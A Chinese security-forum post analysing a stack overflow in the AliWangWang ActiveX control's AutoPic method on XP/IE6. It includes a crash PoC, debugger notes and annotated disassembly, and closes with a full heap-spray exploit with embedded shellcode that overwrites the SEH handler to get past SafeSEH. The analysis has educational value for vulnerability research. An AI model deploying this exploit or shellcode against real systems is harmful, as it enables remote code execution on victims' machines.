看雪论坛
发新帖
1

阿里旺旺AtiveX控件栈溢出漏洞分析

布衣勇者 2017-8-16 19:31 2922

阿里旺旺AtiveX控件栈溢出漏洞分析

   该漏洞是我在漏洞战争一书中看到的,书中对该漏洞的描述相对较少,并且作者有意将该漏洞的溢出原理及利用代码写错,所以我为此漏洞写了这篇文章来方便大家参考。

以下为作者提供的poc代码,首先构造了一个超长的缓冲区,之后调用AtiveX对象的AutoPic方法,并将缓冲区传入发生溢出,程序崩溃。

<html>

<body>

<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF"id="target"></object>

<script>

var buffer = '';

while (buffer.length < 1111) buffer+="A";

target.AutoPic(buffer,"defaultV");

</script>

</body>

</html>


定位缓冲区所在函数

我对常见的栈溢出,使用poc文件触发崩溃的情景,做一下总结,将其分成的4种情况:

  1. 被溢出缓冲区所在的函数中,因缓冲区溢出修改了位于缓冲区高地址的变量,导致未能执行到函数返回就触发异常,这种情况异常一定位于位于缓冲区溢出后,但可能位于缓冲区所在的函数,也可能位于将被修改的局部变量作为参数的其他函数中,这种情况我们可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数,如果当前栈帧就是被破环的栈帧,那么当前地址所在函数就是缓冲区所在函数。

  2.  程序在调用被溢出缓冲区所在函数时,传递了之前函数栈帧的局部变量指针,并在溢出后使用了该指针指向的变量引发崩溃的情况,原因是缓冲区溢出的数据覆盖到参数指针引用到的局部变量,这种情况我们依然可以通过查看栈回溯和栈所在内存,找到被破坏的栈帧的栈顶所保存的返回地址,来定位缓冲区所在的函数。

  3. 触发内存访问异常(c0000005),例如漏洞的栈溢出没有限制,我们可以溢出大量的数据,直至到达栈所映射内存页的末尾,触发内存访问异常,这种情况触发异常的代码就是溢出点,我们可以也通过查看栈回溯和栈所在内存,找到缓冲区所在函数。

  4. 程序已经跳转到我们写入数据所对应的地址,此时我们只需要定位偏移位置,就可以进一步实现漏洞利用,但是如果我们要分析漏洞的话,就需要找到缓冲区所在函数,我们可以通过查看缓冲区所在函数最后一个函数调用的返回地址来定位,具体就是查看sp寄存器指向地址,向低地址方向的内存,查找4/8字节类似返回地址的数据。

以上只是些常见情况的简单总结,在实际遇到的问题中更多的是具体问题具体解决。


现在来看要分析的漏洞,我所实验的环境为winxp sp3虚拟机+IE6的浏览器,以下为实验过程

I.打开IE6,并使用windbg附加进程并运行,拖拽打开poc.html,程序崩溃

 

当前情况正好符合我们总结的第3种情况,我们可以通过栈回溯找到缓冲区所在的函数,位于ImageMan模块,通过向低地址反汇编我们找到函数的首地址为0x1001ab7f,所在模块信息:

Dll Start   End SafeSEH ASLR

ImageMan 0x10000000 0x10054000     true         false 

II.因为该漏洞的溢出原理相对比较简单,所以我这里直接从缓冲区溢出函数开始分析,重新打开IE6, windbg附加进程。

因为ImageMan是动态加载的,所以不能直接对该地址下断点,有两种方式解决:

  一. 是在dll加载后对0x1001ab7f地址下断点

附加程序后,执行sex ld:ImageMan 命令并运行,会在加载ImageMan模块后断下,再对0x1001ab7地址下断点

  二. 是使用硬件执行断点


  我在使用第一种方法时,程序还未执行到漏洞函数,便在gdiplus模块中崩溃,通过测试查找问题原因发现这并不是漏洞引发的原因(我将触发漏洞的代码注释掉,还是在gdiplus模块中崩溃),我推测是windbg执行完sex ld:ImageMan后引发的问题,暂时忽略这个问题,使用第二个方法进行调试

 

成功断到漏洞函数,根据IDA对该函数的分析得知,该函数有3个参数,第二个参数为我们在js中调用target.AutoPic(buffer,"defaultV");传入的buffer(“AAAAA…”),可以得出结论,AutoPic简介调用漏洞函数,并将构造的输入传入漏洞函数,触发漏洞

 


栈溢出原理分析

根据分析,漏洞函数做了以下事情:

int __stdcall vulnFun(int arg1, LPCWSTR lpBuffer, int arg3)

{

char strPath[0x104] = { 0 };

char targetPath[0x104] = { 0 };

char *endPtr;

//该函数不是字符串操作函数只负责将lpBuffer转换为ascii码保存到strPath中并保证不超过strPath缓冲区的大小,

//但并不会为strPath添加'\0'结束符

WideCharToMultiByte(0, 0, lpBuffer, -1, strPath, 0x104, 0, 0);

//该函数查找字符串中最后一个'\'符的地址,没有找到则返回NULL

endPtr = strrchr(strPath, '\\') ;

// 该函数在拷贝字符串时,当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝

strncpy(targetPath, strPath, endPtr - strPath + 1);

......

}

  srcPath的长度为0x104,而lpBuffer为我们输入的数据的长度,远超0x104,所以当执行完WideCharToMultiByte函数后, strPath末尾没有0结束符,j将全部填充为我们输入的数据的前0x104个字符



  还有一个需要注意的事情就是,targetPath与srcPath的地址是连续的,targetPath在srcPath的高地址,刚开始两个数组都被初始化为全0,所以strPath可以作为一个以targetPath第一个元素为结尾的字符串,长度为0x104,所以之后执行strrch函数并没有发生什么问题,由于我们输入的数据没有包含\符号,所以函数返回0,并赋值给endPtr 

 

  之后通过(endPtr-strPath)+1来计算要拷贝的数据大小,这时endPtr为0,结果为负数,也是一个很大的正整数,0xffed2141如下图:

 

  接下来通过strncpy,进行拷贝,拷贝长度为0xffed2141,从strPath,拷贝到targetPath。这时候就有问题了,strncpy函数当拷贝足够字符串长度,或遇到'\0'字符串结尾结束拷贝,最大长度是达不到的,'\0'也是达不到的。如图:

 

  本来strPath可以以targetPath第一个元素为字符串结尾,现在永远也拷不到结尾了,所以触发了内存访问冲突异常。

总结溢出条件:


  当输入数据长度大于等于0x104, 并且不包含'\'字符就会发生溢出。


以下为IDA分析后的代码:

.text:1001AB7F ; int __stdcall vulnFun(int, LPCWSTR lpBuffer, int)

.text:1001AB7F vulnFun         proc near               ; DATA XREF: .rdata:1003ED5Co

.text:1001AB7F                                         ; .rdata:1003F1F0o

.text:1001AB7F

.text:1001AB7F var_31C         = dword ptr -31Ch

.text:1001AB7F var_318         = dword ptr -318h

.text:1001AB7F var_314         = byte ptr -314h

.text:1001AB7F MultiByteStr    = byte ptr -310h

.text:1001AB7F endPtr          = dword ptr -20Ch

.text:1001AB7F srcPath         = byte ptr -208h

.text:1001AB7F targetPath      = byte ptr -104h

.text:1001AB7F s               = dword ptr  0

.text:1001AB7F r               = dword ptr  4

.text:1001AB7F arg_0           = dword ptr  8

.text:1001AB7F lpBuffer        = dword ptr  0Ch

.text:1001AB7F arg_8           = dword ptr  10h

.text:1001AB7F

.text:1001AB7F                 push    ebp

.text:1001AB80                 mov     ebp, esp

.text:1001AB82                 sub     esp, 31Ch

.text:1001AB88                 push    edi             ; ------------------------

.text:1001AB89                 mov     [ebp+srcPath], 0

.text:1001AB90                 mov     ecx, 40h

.text:1001AB95                 xor     eax, eax

.text:1001AB97                 lea     edi, [ebp+srcPath+1]

.text:1001AB9D                 rep stosd

.text:1001AB9F                 stosw

.text:1001ABA1                 stosb                   ; char srcPath[0x104] = {0} ;

.text:1001ABA1                                         ; ---------------------------------

.text:1001ABA2                 push    0               ; lpUsedDefaultChar

.text:1001ABA4                 push    0               ; lpDefaultChar

.text:1001ABA6                 push    104h            ; cbMultiByte

.text:1001ABAB                 lea     eax, [ebp+srcPath]

.text:1001ABB1                 push    eax             ; lpMultiByteStr

.text:1001ABB2                 push    0FFFFFFFFh      ; cchWideChar

.text:1001ABB4                 mov     ecx, [ebp+lpBuffer]

.text:1001ABB7                 push    ecx             ; lpWideCharStr

.text:1001ABB8                 push    0               ; dwFlags

.text:1001ABBA                 push    0               ; CodePage

.text:1001ABBC                 call    ds:WideCharToMultiByte ; 该函数不是串操作函数,

.text:1001ABBC                                         ; 所以在转换结束后不会为目标字符串添加'\0'结束符号

.text:1001ABC2                 mov     [ebp+MultiByteStr], 0

.text:1001ABC9                 mov     ecx, 40h

.text:1001ABCE                 xor     eax, eax

.text:1001ABD0                 lea     edi, [ebp+MultiByteStr+1]

.text:1001ABD6                 rep stosd

.text:1001ABD8                 stosw

.text:1001ABDA                 stosb

.text:1001ABDB                 push    '\'             ; Ch

.text:1001ABDD                 lea     edx, [ebp+srcPath]

.text:1001ABE3                 push    edx             ; srcPath

.text:1001ABE4                 call    _strrchr        ; 获取字符串中最后一个'/'的地址,如果没有找到'/'则返回NULL(0)

.text:1001ABE9                 add     esp, 8

.text:1001ABEC                 mov     [ebp+endPtr], eax

.text:1001ABF2                 mov     [ebp+targetPath], 0

.text:1001ABF9                 mov     ecx, 40h

.text:1001ABFE                 xor     eax, eax

.text:1001AC00                 lea     edi, [ebp+targetPath+1]

.text:1001AC06                 rep stosd

.text:1001AC08                 stosw

.text:1001AC0A                 stosb

.text:1001AC0B                 mov     eax, [ebp+endPtr]

.text:1001AC11                 lea     ecx, [ebp+srcPath]

.text:1001AC17                 sub     eax, ecx        ; 这里我们传入的路径没有'/',所以返回值为0,

.text:1001AC17                                         ; 减去首地址发生整数溢出,等到一个负数,拷贝时参数为无

.text:1001AC17                                         ; 符号数,所以为一个非常大的无符号数

.text:1001AC19                 add     eax, 1          ; +1为要拷贝的字符串长度

.text:1001AC1C                 push    eax

.text:1001AC1D                 lea     edx, [ebp+srcPath]

.text:1001AC23                 push    edx

.text:1001AC24                 lea     eax, [ebp+targetPath]

.text:1001AC2A                 push    eax

.text:1001AC2B                 call    strncpy         ; 该函数在拷贝字符串时,当拷贝足够字符串长度

.text:1001AC2B                                         ; 或遇到'\0'字符串结尾结束

.text:1001AC30                 add     esp, 0Ch

.text:1001AC33                 lea     ecx, [ebp+targetPath]

.text:1001AC39                 push    ecx             ; Str

.text:1001AC3A                 mov     ecx, [ebp+arg_0]

.text:1001AC3D                 add     ecx, 0BCh

.text:1001AC43                 call    sub_100271FE

.text:1001AC48                 lea     edx, [ebp+MultiByteStr]

.text:1001AC4E                 push    edx             ; int

.text:1001AC4F                 lea     eax, [ebp+srcPath]

.text:1001AC55                 push    eax             ; FullPath

.text:1001AC56                 mov     ecx, [ebp+arg_0]

.text:1001AC59                 call    sub_10018BA1

.text:1001AC5E                 lea     ecx, [ebp+MultiByteStr]

.text:1001AC64                 push    ecx             ; lpMultiByteStr

.text:1001AC65                 lea     ecx, [ebp+var_314]

.text:1001AC6B                 call    sub_1001BFE0

.text:1001AC70                 cmp     [ebp+arg_8], 0

.text:1001AC74                 jnz     short loc_1001AC93

.text:1001AC76                 mov     [ebp+var_318], 0

.text:1001AC80                 lea     ecx, [ebp+var_314]

.text:1001AC86                 call    sub_1001C040

.text:1001AC8B                 mov     eax, [ebp+var_318]

.text:1001AC91                 jmp     short loc_1001ACC5

.text:1001AC93 ; ---------------------------------------------------------------------------

.text:1001AC93

.text:1001AC93 loc_1001AC93:                           ; CODE XREF: vulnFun+F5j

.text:1001AC93                 lea     ecx, [ebp+var_314]

.text:1001AC99                 call    sub_1001C060

.text:1001AC9E                 push    eax             ; psz

.text:1001AC9F                 call    ds:SysAllocString

.text:1001ACA5                 mov     edx, [ebp+arg_8]

.text:1001ACA8                 mov     [edx], eax

.text:1001ACAA                 mov     [ebp+var_31C], 0

.text:1001ACB4                 lea     ecx, [ebp+var_314]

.text:1001ACBA                 call    sub_1001C040

.text:1001ACBF                 mov     eax, [ebp+var_31C]

.text:1001ACC5

.text:1001ACC5 loc_1001ACC5:                           ; CODE XREF: vulnFun+112j

.text:1001ACC5                 pop     edi

.text:1001ACC6                 mov     esp, ebp

.text:1001ACC8                 pop     ebp

.text:1001ACC9                 retn    0Ch

.text:1001ACC9 vulnFun         endp


利用思路

利用堆喷射,填充0x0c0c0c0c地址,再传入'\u000c' (转换为ascii后为'\x0c') 组成的长度>=0x104的unicode字符串, 溢出后会将缓冲区往高地址方向一直到不可访问的内存页之前全部填充为'\x0c',包括SHE节点的异常处理函数的地址都被覆盖为0x0c0c0c0c,此时触发内存访问异常,IE6并没有开启数据执行保护,但ImageMan模块开启了safeSEH,但0x0c0c0c0c为堆上的地址,所以我们刚好绕过了SafeSEH保护,程序触发异常后跳转到0x0c0c0c0c地址执行代码。



利用代码:

<html>

<head>

<title>wangwang ActiveX漏洞</title>

</head>

<body>

<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>

</body>

<script>

//Heap Spraying

//构建4kb内存页

Var shellCode = 

unescape("\uFFE8\uFFFF\uC3FF\uFC58\u708D\u8B17\u99FE\u12B2\uC933\uB966\u00FC\u32AC\uAAC2\uFAE2\uFE91\u916D\u6DFE\uFE91\u916D\uEEF6\u6E9F\u5236\u1EF9\u2095\uD2CA\u1878\u0C2A\u9B71\u5DC3\uEDFA\uEDED\uD1ED\u9148\u03F8\uD221\u9976\u2252\u5299\u991E\u0E52\uFA91\u9913\u1352\u4A99\u991A\u2E51\uD111\u5299\u116A\u99D1\u0E5A\uD911\u9943\u365A\uD911\u9943\u3252\uD111\uDB21\u4042\u998B\u9A26\uE111\u8B80\uD340\u0BF0\u3ED3\u1536\u061B\u4836\uC211\u96BE\u67D2\u4AFF\u0229\u4A80\u1166\uF953\u4ACB\u9974\u5A1E\uA51D\u4ADB\u1699\u119A\uB9D1\uD091\u9316\u7828\u2A18\u660C\u9318\u7128\uC39B\u665D\uF930\u4050\u748B\u21A8\u4020\u67AA\u7761\u4260\uD699\u408B\u4240\u45ED\u4BEE\u484B\uCA99\u6AFB\uEDED\u40ED\u408B\u77AA\u217E\u4220\u79AA\u6077\u427C\uD699\u4040\uED42\uEA45\u4B4B\u484B\uCA99\u44FB\uEDED\u8BED\uAA40\u7D7E\u627D\u9942\u40D6\u4242\uED40\uEA45\u45ED\u12EE") ;

var fillData = unescape("\u0c0c\u0c0c") ;

while(fillData.length < 0x800)

{

fillData += fillData ;

}

fillData = fillData.substr(0, 0x800 - shellCode.length) ;

var heapBlock = fillData + shellCode ;

//以0x40000*2 = 512kb为一个堆块

while(heapBlock.length < 0x40000 )

{

heapBlock += heapBlock ;

}

heapBlock = heapBlock.substr(0x2, 0x40000 - 0x1) ; //减去堆块中除数据以外的字符串的描述信息(在数据前,影响数据偏移的4字节字符串长度信息,数据后2字节的字符串结尾标志),以保证一个堆块为512kb

//申请200Mb

var arr = new Array() ;

for(var i = 0 ; i < 400; i++) 

{

arr[i] =  heapBlock.substr(0, heapBlock.length); //512kb

}

//栈溢出

var buff = "\u000c" ;

while(buff.length < 0x104)

{

buff += buff ;

}

buff = buff.substr(0, 0x104) ;

var target = document.getElementById("target") ;

target.AutoPic(buff, "defaultV") ;

</script>

</html>

漏洞软件: 链接:http://pan.baidu.com/s/1o8v8KH0 密码:0fo1

本主题帖已收到 0 次赞赏,累计¥0.00
最新回复 (11)
1
布衣勇者 2017-8-16 19:47
2
很抱歉,不小心发错了板块
wx_苹果的心愿 2017-8-16 20:00
3
写的不错,支持一下。
1
布衣勇者 2017-8-17 09:06
4
wx_苹果的心愿 写的不错,支持一下。
谢谢,支持
8
kanxue 2017-8-17 09:13
5
布衣勇者 很抱歉,不小心发错了板块
已移到漏洞分析版块
1
布衣勇者 2017-8-17 10:35
6
多谢坛主
2
地狱怪客 2017-8-17 11:27
7
感谢  学习一下。学完后可以再挖掘一下最新版本呀
1
布衣勇者 2017-8-17 13:45
8
地狱怪客 感谢 学习一下。学完后可以再挖掘一下最新版本呀
嗯,多谢支持
z许 2017-8-17 14:27
9

同刷漏洞战争的战友发来贺电~~
一起加油~~~
1
布衣勇者 2017-8-19 10:24
10
z许 [em_63] 同刷漏洞战争的战友发来贺电~~ 一起加油~~~
嗯,多谢支持
friendanx 2017-8-20 10:06
11
好文,思路清晰,代码完整。
1
隔壁雷哥 2017-8-24 13:59
12
先mark了
返回



©2000-2017 看雪学院 | Based on Xiuno BBS | 微信公众号:ikanxue
Time: 0.014, SQL: 9 / 京ICP备10040895号-17